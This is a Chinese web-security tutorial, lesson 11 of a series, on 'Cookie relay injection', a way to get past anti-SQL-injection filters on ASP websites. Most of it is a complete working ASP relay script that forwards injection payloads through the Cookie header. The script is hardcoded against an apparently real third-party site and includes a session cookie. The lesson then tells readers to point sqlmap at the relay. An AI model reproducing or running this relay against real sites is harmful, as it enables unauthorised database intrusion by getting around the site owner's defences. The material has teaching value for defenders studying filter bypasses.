第11课:Cookie

第11课:Cookie 中转注入

本课旨要:了解 Cookie 注入的利用方式,中转注入。

在上节课讲了 Cookie 的手工注入,这节课将介绍 Cookie 的工具利用,也就是 Cookie 中转利用。

在一些网站程序里,使用了一些防注入的程序,令我们的注入语句无法通过。有防注入了并不代表百分百可以防止 SQL 注入,通常遇到这种情况,就可以使用本节课内容所讲“Cookie 中转注入”,考虑到我没有靶机,所以只讲理论部分。

Cookie 中转注入

enter image description here

非法操作!你已被系统记录做了如下非法操作↓
操作IP:192.168.0.1
操作时间:2017/1/28 18:09:01
操作页面:/shownews1.asp
提交方式:GET
提交参数:id
提交数据:643 and 1=1 错误内容已被记录

可以看到是被拦截下来了,防注入,遇到这情况可以使用一下“Cookie中转注入”。

enter image description here

我简略的说一下 Cookie 中转注入的方法:把 ID 和参数以及 POST 的值分别写上去,生成 asp 文件在本地,然后可以用本地环境打开生成的文件进行注入,和原本的页面是一样的。

enter image description here

效果如上,这里已经能够使用 and 1=1 进行判断了,这个网站有问题,按理论上来说是和原来的界面无二的。

生成的 ASP 文件代码如下:

<%
JmdcwName=request("jmdcw")
JmdcwName=escape(JmdcwName)
JmStr="id="&JmdcwName
JMUrl="http://www.jnrcjt.com/onews3.asp"
JmRef="http://www.jnrcjt.com/onews3.asp"
JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
JmCok=JmCok & ";" & Jmstr &";"
JmCok=URLEncoding(JmCok)
JmStr="jmdcw=2180"
response.write  PostData(JMUrl,JmStr,JmCok,JmRef)

Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http

.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
.SetRequestHeader "Cookie",PostCok
.Send PostStr
PostData = .ResponseBody 
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function

Function URLEncoding(vstrin) 
strReturn=""
Dim i
vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,
vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
vstrin=Replace(vstrin,chr(43),"%2B")  'JMDCW增加转换+字符
'vstrin=Replace(vstrin,过滤字符,"转换为字符")  '在此增加要过滤的代码
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function

%>

然后可以把这个链接丢 sqlmap 等工具里,虽然显示的页面不同,但是我们只是利用了中转,实际上还是在对原网站进行 SQL 注入测试。

结语

Cookie 注入多用工具进行中转,有时候遇到了这类防注入的网站可以尝试使用 Cookie 进行中转注入。

上一篇
下一篇
内容互动
写评论
加载更多
评论文章